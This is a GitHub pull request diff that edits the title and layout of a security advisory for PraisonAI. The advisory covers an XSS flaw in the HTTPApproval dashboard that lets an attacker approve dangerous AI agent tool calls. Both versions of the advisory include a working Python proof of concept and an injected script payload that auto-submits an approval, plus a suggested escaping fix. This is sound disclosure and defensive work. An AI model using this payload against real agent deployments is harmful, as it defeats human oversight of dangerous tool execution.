Skip to content

Update GHSA-63v4-w882-g4x2 title and description #9075

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
rexpository wants to merge 1 commit into
base: rexpository/advisory-improvement-9075
Choose a base branch
from
Open

Update GHSA-63v4-w882-g4x2 title and description #9075

Changes from all commits
Commits
Show all changes
1 commit
Select commit
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions advisories/github-reviewed/2026/06/GHSA-63v4-w882-g4x2/GHSA-63v4-w882-g4x2.json
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -6,8 +6,8 @@
"aliases": [
"CVE-2026-56840"
],
"summary": "PraisonAI: HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools",
"details": "# HTTPApproval dashboard renders tool arguments as raw HTML, allowing approval-page XSS to approve dangerous tools\n\n## Summary\n\n`praisonai.bots.HTTPApproval` renders pending tool approval arguments directly\ninto the approval dashboard HTML. An attacker-controlled tool argument can\ninject JavaScript into that page. When a human opens the approval URL to inspect\nthe risky tool request, the script runs in the dashboard origin and can POST to\nthe same request's `/approve/{request_id}/decide` endpoint, causing\n`HTTPApproval` to return `approved=True`.\n\nThe local PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at\nthe approval decision. It does not execute the command.\n\n## Affected Versions\n\nProposed affected range: `>= 4.5.2, <= 4.6.57`.\n\nValidated affected:\n\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1`\n (`v4.6.57-4-g2f9677ab`)\n- `v4.5.2`\n- `v4.5.3`\n- `v4.5.124`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n\n`v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend.\n\n## Impact\n\nAn attacker who can influence an agent task or prompt enough to produce a\ndangerous tool call can embed a short XSS payload in the tool argument. When the\nhuman approver opens the HTTP approval page, the script can approve the pending\ndangerous tool call before the human explicitly clicks Approve or Deny.\n\nThis bypasses the human-in-the-loop approval boundary for dangerous tools such\nas `execute_command`, `execute_code`, `delete_file`, or other tools gated\nthrough `HTTPApproval`. If the agent continues after approval, the dangerous\ntool runs with the privileges of the PraisonAI process.\n\n## Why This Is Not Intended Behavior\n\nPraisonAI documentation describes approval as a safety control that pauses an\nagent before risky tools and asks a human or configured channel to allow or deny\nexecution. The documentation also lists `http` as a supported non-console\napproval backend.\n\nOpening the approval page to inspect a risky command should not itself approve\nthe command. The current behavior allows attacker-controlled tool arguments to\nexecute script in the approval page and submit the approval action.\n\nThis is distinct from the previously published stored-XSS advisory for agent\noutput rendering. That advisory concerned `src/praisonai/api.py` and missing\n`nh3` sanitization in older versions. This report concerns the `HTTPApproval`\ndashboard sink and remains present in current head.\n\n## Root Cause\n\nIn `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the\napproval page with raw f-string interpolation:\n\n- argument keys and values are appended to `args_html` without HTML escaping;\n- `tool_name`, `risk_level`, and `agent_name` are also interpolated into the\n returned HTML;\n- the generated page contains same-origin JavaScript that posts to\n `/approve/{request_id}/decide`.\n\n`_handle_decide()` accepts JSON from that endpoint and marks the pending request\napproved when `decision == \"approve\"`.\n\nBecause the approval page is generated from the pending request's unescaped tool\narguments, an injected script can call the same endpoint that the legitimate\nApprove button uses. The request id is unguessable, but the script runs inside\nthe loaded approval page and can derive the endpoint from `location.pathname`.\n\n## Reproduction\n\nThe PoV is local-only and does not execute the dangerous tool command. Run it\nfrom a PraisonAI checkout or environment where `praisonai` and\n`praisonaiagents` import from the candidate version.\n\n```python\nimport asyncio\nimport json\nimport socket\n\nimport aiohttp\nfrom praisonai.bots._http_approval import HTTPApproval\nfrom praisonaiagents.approval.protocols import ApprovalRequest\n\n\ndef free_port():\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.bind((\"127.0.0.1\", 0))\n return sock.getsockname()[1]\n\n\npayload = (\n \"touch /tmp/prai010 # \"\n \"</code><script>\"\n \"fetch(location.pathname+'/decide',{\"\n \"method:'POST',headers:{'Content-Type':'application/json'},\"\n \"body:'{\\\"decision\\\":\\\"approve\\\"}'})\"\n \"</script><code>\"\n)\n\n\nasync def main():\n backend = HTTPApproval(host=\"127.0.0.1\", port=free_port(), timeout=5)\n request = ApprovalRequest(\n tool_name=\"execute_command\",\n arguments={\"command\": payload},\n risk_level=\"critical\",\n agent_name=\"pov-agent\",\n )\n task = asyncio.create_task(backend.request_approval(request))\n\n request_id = \"\"\n for _ in range(100):\n if backend._pending:\n request_id = next(iter(backend._pending))\n break\n await asyncio.sleep(0.05)\n assert request_id\n\n url = f\"http://127.0.0.1:{backend._port}/approve/{request_id}\"\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n page = await response.text()\n raw_script_present = \"<script>fetch(location.pathname+'/decide'\" in page\n script_not_html_escaped = \"&lt;script\" not in page\n payload_uses_same_origin_decide_endpoint = \"fetch(location.pathname+'/decide'\" in page\n payload_not_truncated = \"...\" not in page[\n page.find(\"<script>\"):page.find(\"<script>\") + len(payload) + 10\n ]\n assert raw_script_present\n assert script_not_html_escaped\n assert payload_not_truncated\n\n # Same request the injected same-origin script submits.\n async with session.post(f\"{url}/decide\", json={\"decision\": \"approve\"}) as response:\n post_body = await response.text()\n\n decision = await task\n await backend.shutdown()\n print(json.dumps({\n \"payload_len\": len(payload),\n \"payload_shell_prefix\": \"touch /tmp/prai010\",\n \"raw_script_present\": raw_script_present,\n \"script_not_html_escaped\": script_not_html_escaped,\n \"payload_uses_same_origin_decide_endpoint\": payload_uses_same_origin_decide_endpoint,\n \"payload_not_truncated\": payload_not_truncated,\n \"post_body\": post_body,\n \"decision_approved\": decision.approved,\n \"decision_reason\": decision.reason,\n \"vulnerable\": bool(\n raw_script_present\n and script_not_html_escaped\n and payload_uses_same_origin_decide_endpoint\n and payload_not_truncated\n and decision.approved\n ),\n }, indent=2))\n\n\nasyncio.run(main())\n```\n\nExpected affected output includes:\n\n```json\n{\n \"payload_len\": 175,\n \"payload_shell_prefix\": \"touch /tmp/prai010\",\n \"raw_script_present\": true,\n \"script_not_html_escaped\": true,\n \"payload_uses_same_origin_decide_endpoint\": true,\n \"payload_not_truncated\": true,\n \"decision_approved\": true,\n \"vulnerable\": true\n}\n```\n\nThe relevant injected argument shape is:\n\n```text\ntouch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{\"decision\":\"approve\"}'})</script><code>\n```\n\nThe shell prefix demonstrates that the same argument can be executable shell\nsyntax after approval; the PoV stops before executing the tool.\n\n## Suggested Fix\n\nEscape every untrusted value before inserting it into the approval HTML:\n\n- `tool_name`\n- `risk_level`\n- `agent_name`\n- every argument key\n- every argument value\n\nFor example, use `html.escape(str(value), quote=True)` or a template engine that\nauto-escapes by default. Add regression tests that include `</code><script>...`\nin tool arguments and assert that the rendered page contains escaped text, not a\nscript element.\n\nMinimal patch shape:\n\n```python\nfrom html import escape\n\n\ndef h(value: object) -> str:\n return escape(str(value), quote=True)\n\n\ntool_name = h(info.get(\"tool_name\", \"unknown\"))\nrisk_level = h(info.get(\"risk_level\", \"unknown\"))\nagent_name = h(info.get(\"agent_name\", \"\"))\n\nargs_html = \"\"\nfor k, v in arguments.items():\n val_str = str(v)\n if len(val_str) > 200:\n val_str = val_str[:197] + \"...\"\n args_html += (\n f\"<tr><td><code>{h(k)}</code></td>\"\n f\"<td><code>{h(val_str)}</code></td></tr>\"\n )\n```\n\nAdditional hardening:\n\n- avoid inline JavaScript and add a restrictive Content Security Policy;\n- keep the request id as an unguessable capability, but do not rely on it as an\n XSS defense;\n- consider requiring a per-request decision token outside attacker-controlled\n rendered argument fields.",
"summary": "HTTPApproval Dashboard XSS Can Approve Dangerous Tools",
"details": "## Summary\n\n`praisonai.bots.HTTPApproval` renders pending tool approval arguments directly into the approval dashboard HTML. An attacker-controlled tool argument can inject JavaScript into that page. When a human opens the approval URL to inspect the risky tool request, the script runs in the dashboard origin and can POST to the same request's `/approve/{request_id}/decide` endpoint, causing `HTTPApproval` to return `approved=True`.\n\nthe PoV uses a harmless `touch /tmp/prai010 #` command prefix and stops at the approval decision. It does not execute the command.\n\n## Technical Details\n\n### Why This Is Not Intended Behavior\n\nPraisonAI documentation describes approval as a safety control that pauses an agent before risky tools and asks a human or configured channel to allow or deny execution. The documentation also lists `http` as a supported non-console approval backend.\n\nOpening the approval page to inspect a risky command should not itself approve the command. The current behavior allows attacker-controlled tool arguments to execute script in the approval page and submit the approval action.\n\nThis is distinct from the previously published stored-XSS advisory for agent output rendering. That advisory concerned `src/praisonai/api.py` and missing `nh3` sanitization in older versions. This report concerns the `HTTPApproval` dashboard sink and remains present in current head.\n\nIn `src/praisonai/praisonai/bots/_http_approval.py`, `_build_html()` builds the approval page with raw f-string interpolation:\n\n- argument keys and values are appended to `args_html` without HTML escaping;\n- `tool_name`, `risk_level`, and `agent_name` are also interpolated into the returned HTML;\n- the generated page contains same-origin JavaScript that posts to `/approve/{request_id}/decide`.\n\n`_handle_decide()` accepts JSON from that endpoint and marks the pending request approved when `decision == \"approve\"`.\n\nBecause the approval page is generated from the pending request's unescaped tool arguments, an injected script can call the same endpoint that the legitimate Approve button uses. The request id is unguessable, but the script runs inside the loaded approval page and can derive the endpoint from `location.pathname`.\n\n## PoV\n\nThe vulnerable primitive is exercised by the local reproduction in the PoC section below.\n\n## PoC\n\nThe PoV is local-only and does not execute the dangerous tool command. Run it from a PraisonAI checkout or environment where `praisonai` and `praisonaiagents` import from the tested version.\n\n```python\nimport asyncio\nimport json\nimport socket\n\nimport aiohttp\nfrom praisonai.bots._http_approval import HTTPApproval\nfrom praisonaiagents.approval.protocols import ApprovalRequest\n\ndef free_port():\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:\n sock.bind((\"127.0.0.1\", 0))\n return sock.getsockname()[1]\n\npayload = (\n \"touch /tmp/prai010 # \"\n \"</code><script>\"\n \"fetch(location.pathname+'/decide',{\"\n \"method:'POST',headers:{'Content-Type':'application/json'},\"\n \"body:'{\\\"decision\\\":\\\"approve\\\"}'})\"\n \"</script><code>\"\n)\n\nasync def main():\n backend = HTTPApproval(host=\"127.0.0.1\", port=free_port(), timeout=5)\n request = ApprovalRequest(\n tool_name=\"execute_command\",\n arguments={\"command\": payload},\n risk_level=\"critical\",\n agent_name=\"pov-agent\",\n )\n task = asyncio.create_task(backend.request_approval(request))\n\n request_id = \"\"\n for _ in range(100):\n if backend._pending:\n request_id = next(iter(backend._pending))\n break\n await asyncio.sleep(0.05)\n assert request_id\n\n url = f\"http://127.0.0.1:{backend._port}/approve/{request_id}\"\n async with aiohttp.ClientSession() as session:\n async with session.get(url) as response:\n page = await response.text()\n raw_script_present = \"<script>fetch(location.pathname+'/decide'\" in page\n script_not_html_escaped = \"&lt;script\" not in page\n payload_uses_same_origin_decide_endpoint = \"fetch(location.pathname+'/decide'\" in page\n payload_not_truncated = \"...\" not in page[\n page.find(\"<script>\"):page.find(\"<script>\") + len(payload) + 10\n ]\n assert raw_script_present\n assert script_not_html_escaped\n assert payload_not_truncated\n\n # Same request the injected same-origin script submits.\n async with session.post(f\"{url}/decide\", json={\"decision\": \"approve\"}) as response:\n post_body = await response.text()\n\n decision = await task\n await backend.shutdown()\n print(json.dumps({\n \"payload_len\": len(payload),\n \"payload_shell_prefix\": \"touch /tmp/prai010\",\n \"raw_script_present\": raw_script_present,\n \"script_not_html_escaped\": script_not_html_escaped,\n \"payload_uses_same_origin_decide_endpoint\": payload_uses_same_origin_decide_endpoint,\n \"payload_not_truncated\": payload_not_truncated,\n \"post_body\": post_body,\n \"decision_approved\": decision.approved,\n \"decision_reason\": decision.reason,\n \"vulnerable\": bool(\n raw_script_present\n and script_not_html_escaped\n and payload_uses_same_origin_decide_endpoint\n and payload_not_truncated\n and decision.approved\n ),\n }, indent=2))\n\nasyncio.run(main())\n```\n\nExpected affected output includes:\n\n```json\n{\n \"payload_len\": 175,\n \"payload_shell_prefix\": \"touch /tmp/prai010\",\n \"raw_script_present\": true,\n \"script_not_html_escaped\": true,\n \"payload_uses_same_origin_decide_endpoint\": true,\n \"payload_not_truncated\": true,\n \"decision_approved\": true,\n \"vulnerable\": true\n}\n```\n\nThe relevant injected argument shape is:\n\n```text\ntouch /tmp/prai010 # </code><script>fetch(location.pathname+'/decide',{method:'POST',headers:{'Content-Type':'application/json'},body:'{\"decision\":\"approve\"}'})</script><code>\n```\n\nThe shell prefix demonstrates that the same argument can be executable shell syntax after approval; the PoV stops before executing the tool.\n\n## Impact\n\nAn attacker who can influence an agent task or prompt enough to produce a dangerous tool call can embed a short XSS payload in the tool argument. When the human approver opens the HTTP approval page, the script can approve the pending dangerous tool call before the human explicitly clicks Approve or Deny.\n\nThis bypasses the human-in-the-loop approval boundary for dangerous tools such as `execute_command`, `execute_code`, `delete_file`, or other tools gated through `HTTPApproval`. If the agent continues after approval, the dangerous tool runs with the privileges of the PraisonAI process.\n\n### Severity\n\nSuggested severity: High.\n\nSuggested CVSS v3.1:\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` = 8.8 High\n\nSuggested CWEs:\n\n- `CWE-79`: Improper Neutralization of Input During Web Page Generation\n\nIf a deployment only accepts prompts from authenticated/authorized users, the Privileges Required metric may be `PR:L` instead of `PR:N`. The submitted vector uses `PR:N` for public bot/API prompt surfaces.\n\n## Suggested Fix\n\nEscape every untrusted value before inserting it into the approval HTML:\n\n- `tool_name`\n- `risk_level`\n- `agent_name`\n- every argument key\n- every argument value\n\nFor example, use `html.escape(str(value), quote=True)` or a template engine that auto-escapes by default. Add regression tests that include `</code><script>...` in tool arguments and assert that the rendered page contains escaped text, not a script element.\n\nMinimal patch shape:\n\n```python\nfrom html import escape\n\ndef h(value: object) -> str:\n return escape(str(value), quote=True)\n\ntool_name = h(info.get(\"tool_name\", \"unknown\"))\nrisk_level = h(info.get(\"risk_level\", \"unknown\"))\nagent_name = h(info.get(\"agent_name\", \"\"))\n\nargs_html = \"\"\nfor k, v in arguments.items():\n val_str = str(v)\n if len(val_str) > 200:\n val_str = val_str[:197] + \"...\"\n args_html += (\n f\"<tr><td><code>{h(k)}</code></td>\"\n f\"<td><code>{h(val_str)}</code></td></tr>\"\n )\n```\n\nAdditional hardening:\n\n- avoid inline JavaScript and add a restrictive Content Security Policy;\n- keep the request id as an unguessable capability, but do not rely on it as an XSS defense;\n- consider requiring a per-request decision token outside attacker-controlled rendered argument fields.\n\n## Affected Package/Versions\n\nProposed affected range: `>= 4.5.2, <= 4.6.57`.\n\nValidated affected:\n\n- current head `2f9677abb2ea68eab864ee8b6a828fd0141612e1` (`v4.6.57-4-g2f9677ab`)\n- `v4.5.2`\n- `v4.5.3`\n- `v4.5.124`\n- `v4.5.126`\n- `v4.5.128`\n- `v4.6.10`\n- `v4.6.56`\n- `v4.6.57`\n\n`v4.5.0` and `v4.5.1` do not contain the HTTPApproval backend.\n\n## Advisory History\n\nChecked visible PraisonAI advisories and prior submissions for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate is identified in this report text. Adjacent advisories, where relevant, are listed in References or discussed above.\n\n## References\n\n- https://github.com/MervinPraison/PraisonAI\n- https://cwe.mitre.org/data/definitions/79.html\n",
"severity": [
{
"type": "CVSS_V3",
Expand Down Expand Up @@ -57,4 +57,4 @@
"github_reviewed_at": "2026-06-18T13:52:59Z",
"nvd_published_at": null
}
}
}